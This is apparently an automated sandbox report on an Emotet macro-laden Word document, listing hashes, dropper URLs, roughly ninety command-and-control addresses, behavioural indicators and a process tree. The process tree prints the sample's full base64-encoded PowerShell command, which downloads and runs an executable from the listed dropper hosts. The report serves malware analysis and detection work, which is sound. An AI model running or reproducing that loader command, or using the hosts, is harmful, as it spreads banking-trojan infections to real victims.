emotet | bd074de7433279e0cc643f3cb23cd96cd5ff3ae7fdc879e39f6d1ed6dbd7180d

General

Target
emotet_e1_bd074de7433279e0cc643f3cb23cd96cd5ff3ae7fdc879e39f6d1ed6dbd7180d_2020-08-20__123804._doc.doc
Size 237KB
Sample200820-dfepxcqydx
SHA256 bd074de7433279e0cc643f3cb23cd96cd5ff3ae7fdc879e39f6d1ed6dbd7180d
MD5 aa489f85113e903d0d8725478c506f79
SHA1 8f8ea8090051096e02094cdcce2a8696e54ca512
SHA512 19daa57e48eb652cfe88c95a3337cea63c3339d9aa68448242433784b66aaa9b5315aa21445d7875b4199fff3a9928c902e4f4f0cd4d59c096e5751c4f2d6ae9
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://jens-freiberg.de/cgi-bin/F/
exe.dropper
http://danidickdoof.de/cgi-bin/hts/
exe.dropper
http://bedburger-schweiz.de/assets/1v/
exe.dropper
http://brunhammer.de/cgi-bin/d/
exe.dropper
http://bsh-bauservice.de/anfrage/FZM/
exe.dropper
http://javla.de/cgi-bin/x4/
exe.dropper
http://m-huesken.de/cgi-bin/fgV/

Extracted

Family

emotet

C2

65.36.62.20:80
209.126.6.222:8080
5.153.250.14:8080
204.225.249.100:7080
77.90.136.129:8080
185.94.252.27:443
85.105.140.135:443
83.169.21.32:7080
190.190.148.27:8080
185.94.252.12:80
116.125.120.88:443
190.115.18.139:8080
61.92.159.208:8080
24.148.98.177:80
212.93.117.170:80
91.219.169.180:80
73.116.193.136:80
87.106.46.107:8080
187.162.248.237:80
70.32.115.157:8080
188.135.15.49:80
149.62.173.247:8080
190.6.193.152:8080
81.129.198.57:80
190.128.173.10:80
172.104.169.32:8080
68.183.190.199:8080
89.32.150.160:8080
95.9.180.128:80
178.79.163.131:8080
213.60.96.117:80
94.206.45.18:80
217.199.160.224:7080
73.213.208.163:80
143.0.87.101:80
104.131.103.37:8080
5.196.35.138:7080
202.4.57.96:80
77.55.211.77:8080
188.2.217.94:80
51.255.165.160:8080
46.28.111.142:7080
111.67.12.221:8080
177.73.0.98:443
94.176.234.118:443
45.33.77.42:8080
177.74.228.34:80
192.241.143.52:8080
181.129.96.162:8080
190.163.31.26:80
58.171.153.81:80
174.100.27.229:80
190.147.137.153:443
82.163.245.38:80
45.161.242.102:80
91.222.77.105:80
137.74.106.111:7080
209.236.123.42:8080
177.72.13.80:80
70.32.84.74:8080
191.182.6.118:80
212.71.237.140:8080
82.76.111.249:443
189.2.177.210:443
219.92.13.25:80
51.159.23.217:443
24.135.198.218:80
186.103.141.250:443
178.250.54.208:8080
95.85.151.205:80
192.241.146.84:8080
213.176.36.147:8080
50.28.51.143:8080
185.33.0.233:80
114.109.179.60:80
67.247.242.247:80
104.131.41.185:8080
80.249.176.206:80
190.195.129.227:8090
191.99.160.58:80
45.173.88.33:80
2.47.112.152:80
186.70.127.199:8090
207.144.103.227:80
72.47.248.48:7080
82.196.15.205:8080
24.135.1.177:80
201.171.150.41:443
152.169.22.67:80
170.81.48.2:80
68.183.170.114:8080
217.13.106.14:8080
186.250.52.226:8080
12.162.84.2:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3556	3832	powersheLL.exe	66

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/1356-17-0x00000000007D0000-0x00000000007DC000-memory.dmp	emotet
behavioral2/memory/1356-17-0x00000000007D0000-0x00000000007DC000-memory.dmp	emotet
behavioral2/memory/1652-20-0x00000000020B0000-0x00000000020BC000-memory.dmp	emotet
behavioral2/memory/1652-20-0x00000000020B0000-0x00000000020BC000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
12	3556	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
1356	Kst21p7ps.exe
1652	cmmon32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\NapiNSP\cmmon32.exe	Kst21p7ps.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2144	WINWORD.EXE
2144	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
3556	powersheLL.exe
3556	powersheLL.exe
3556	powersheLL.exe
1652	cmmon32.exe
1652	cmmon32.exe
1652	cmmon32.exe
1652	cmmon32.exe
1652	cmmon32.exe
1652	cmmon32.exe
1652	cmmon32.exe
1652	cmmon32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3556	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
2144	WINWORD.EXE
2144	WINWORD.EXE
2144	WINWORD.EXE
2144	WINWORD.EXE
2144	WINWORD.EXE
2144	WINWORD.EXE
2144	WINWORD.EXE
2144	WINWORD.EXE
2144	WINWORD.EXE
1356	Kst21p7ps.exe
1356	Kst21p7ps.exe
1652	cmmon32.exe
1652	cmmon32.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3556 wrote to memory of 1356	3556	powersheLL.exe	71
PID 3556 wrote to memory of 1356	3556	powersheLL.exe	71
PID 3556 wrote to memory of 1356	3556	powersheLL.exe	71
PID 1356 wrote to memory of 1652	1356	Kst21p7ps.exe	72
PID 1356 wrote to memory of 1652	1356	Kst21p7ps.exe	72
PID 1356 wrote to memory of 1652	1356	Kst21p7ps.exe	72

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_bd074de7433279e0cc643f3cb23cd96cd5ff3ae7fdc879e39f6d1ed6dbd7180d_2020-08-20__123804._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2144

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABZADIAaABsAG0AZQBtAD0AKAAnAEkAdwB6AGEAeAAnACsAJwB6ACcAKwAnAGMAJwApADsAJgAoACcAbgBlAHcAJwArACcALQBpAHQAJwArACcAZQBtACcAKQAgACQAZQBOAHYAOgBUAGUATQBwAFwATwBmAGYAaQBjAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAHIAZQBjAHQAbwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAYABFAGAAQwBVAFIAaQB0AFkAcABgAFIAYABPAFQAbwBDAE8ATAAiACAAPQAgACgAJwB0AGwAcwAnACsAJwAxADIALAAgACcAKwAnAHQAbABzADEAMQAsACAAdABsACcAKwAnAHMAJwApADsAJABIADMAbAB0AF8AegBlACAAPQAgACgAJwBLAHMAJwArACcAdAAyADEAcAA3ACcAKwAnAHAAcwAnACkAOwAkAFEAdgBiAHMAdAAyADAAPQAoACcATwB1AG8AcgAnACsAJwB5AHgAbAAnACkAOwAkAFQAeAByAGMAawBhADAAPQAkAGUAbgB2ADoAdABlAG0AcAArACgAKAAnAGkAJwArACcAagBQACcAKwAnAE8AZgAnACsAJwBmAGkAJwArACcAYwBlADIAMAAxADkAaQBqAFAAJwApAC4AIgBSAEUAYABQAGwAYABBAEMARQAiACgAKABbAGMAaABhAFIAXQAxADAANQArAFsAYwBoAGEAUgBdADEAMAA2ACsAWwBjAGgAYQBSAF0AOAAwACkALABbAFMAdAByAEkAbgBnAF0AWwBjAGgAYQBSAF0AOQAyACkAKQArACQASAAzAGwAdABfAHoAZQArACgAJwAuAGUAeAAnACsAJwBlACcAKQA7ACQAUwB5AG0AMAA3AHYAegA9ACgAJwBEAHIAJwArACcAZwBvACcAKwAnAGUAcwA2ACcAKQA7ACQATwBoAHMAawBuAGcAcgA9ACYAKAAnAG4AZQAnACsAJwB3AC0AbwBiAGoAZQAnACsAJwBjAHQAJwApACAATgBFAFQALgB3AEUAQgBDAGwAaQBlAE4AVAA7ACQATAByAHMAOABuAG0AYgA9ACgAJwBoACcAKwAnAHQAdABwACcAKwAnADoAJwArACcALwAvAGoAZQAnACsAJwBuACcAKwAnAHMALQBmAHIAZQBpAGIAZQByAGcALgAnACsAJwBkAGUALwBjAGcAaQAnACsAJwAtAGIAaQBuAC8ARgAvACoAaAAnACsAJwB0AHQAcAA6AC8AJwArACcALwAnACsAJwBkAGEAbgAnACsAJwBpAGQAaQBjAGsAJwArACcAZABvAG8AZgAuAGQAZQAnACsAJwAvAGMAJwArACcAZwBpACcAKwAnAC0AJwArACcAYgBpACcAKwAnAG4ALwBoAHQAcwAnACsAJwAvACoAaAB0AHQAcAAnACsAJwA6ACcAKwAnAC8AJwArACcALwAnACsAJwBiAGUAJwArACcAZABiAHUAJwArACcAcgBnAGUAcgAtACcAKwAnAHMAYwBoAHcAZQBpACcAKwAnAHoALgAnACsAJwBkAGUAJwArACcALwBhAHMAJwArACcAcwBlAHQAcwAvADEAJwArACcAdgAvACoAaAB0AHQAcAAnACsAJwA6AC8ALwBiAHIAdQBuAGgAYQBtAG0AJwArACcAZQByACcAKwAnAC4AZABlACcAKwAnAC8AYwBnAGkALQAnACsAJwBiAGkAJwArACcAbgAvACcAKwAnAGQALwAqAGgAdAAnACsAJwB0AHAAOgAvACcAKwAnAC8AYgBzACcAKwAnAGgALQBiACcAKwAnAGEAdQBzACcAKwAnAGUAcgB2AGkAYwBlAC4AZABlAC8AYQAnACsAJwBuACcAKwAnAGYAcgBhAGcAZQAnACsAJwAvAEYAJwArACcAWgAnACsAJwBNACcAKwAnAC8AKgBoACcAKwAnAHQAdABwADoALwAvACcAKwAnAGoAYQB2ACcAKwAnAGwAYQAnACsAJwAuAGQAJwArACcAZQAnACsAJwAvAGMAZwAnACsAJwBpAC0AYgBpACcAKwAnAG4ALwAnACsAJwB4ACcAKwAnADQALwAqAGgAdAB0AHAAJwArACcAOgAvAC8AbQAtACcAKwAnAGgAJwArACcAdQBlAHMAawAnACsAJwBlAG4ALgAnACsAJwBkAGUAJwArACcALwAnACsAJwBjAGcAaQAtAGIAaQBuAC8AZgBnAFYALwAnACkALgAiAHMAcABgAGwAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAVQBtAHIAMgBmADYAZAA9ACgAJwBCAGcAJwArACcAZQAnACsAJwB0AHUAOQA2ACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEwAZABrAHMAbAB3ADQAIABpAG4AIAAkAEwAcgBzADgAbgBtAGIAKQB7AHQAcgB5AHsAJABPAGgAcwBrAG4AZwByAC4AIgBEAGAATwBXAG4AbABPAGEAYABkAGYAYABJAGwAZQAiACgAJABMAGQAawBzAGwAdwA0ACwAIAAkAFQAeAByAGMAawBhADAAKQA7ACQATABwADEAaABkAHUAZAA9ACgAJwBXACcAKwAnAHoAbgBjAHYAJwArACcAdgBtACcAKQA7AEkAZgAgACgAKAAmACgAJwBHACcAKwAnAGUAdAAnACsAJwAtAEkAdABlAG0AJwApACAAJABUAHgAcgBjAGsAYQAwACkALgAiAEwAZQBuAEcAYABUAGgAIgAgAC0AZwBlACAAMgAxADMAOAAxACkAIAB7ACYAKAAnAEkAJwArACcAbgB2AG8AawBlAC0AJwArACcASQB0ACcAKwAnAGUAbQAnACkAKAAkAFQAeAByAGMAawBhADAAKQA7ACQAUAB5AGwAZgB1AGYANwA9ACgAJwBLADgAMQBxAGcAJwArACcAMwBoACcAKQA7AGIAcgBlAGEAawA7ACQARwAwADEANAB5AHoAagA9ACgAJwBMADYAJwArACcAcQByAGEAbgBxACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQgA0ADAAagB1ADMANgA9ACgAJwBXAHcAMQAnACsAJwB5AG4AdgAnACsAJwB6ACcAKQA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3556
- C:\Users\Admin\AppData\Local\Temp\Office2019\Kst21p7ps.exe
  "C:\Users\Admin\AppData\Local\Temp\Office2019\Kst21p7ps.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1356
- - C:\Windows\SysWOW64\NapiNSP\cmmon32.exe
    "C:\Windows\SysWOW64\NapiNSP\cmmon32.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:1652

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1356-17-0x00000000007D0000-0x00000000007DC000-memory.dmp

Download

memory/1652-20-0x00000000020B0000-0x00000000020BC000-memory.dmp

Download

memory/2144-0-0x00007FFED1DF0000-0x00007FFED24B6000-memory.dmp

Download

memory/2144-6-0x0000021E3273B000-0x0000021E3274C000-memory.dmp

Download

memory/3556-11-0x00007FFECA610000-0x00007FFECAFFC000-memory.dmp

Download

memory/3556-12-0x0000019025C60000-0x0000019025C61000-memory.dmp

Download

memory/3556-13-0x000001903E0B0000-0x000001903E0B1000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads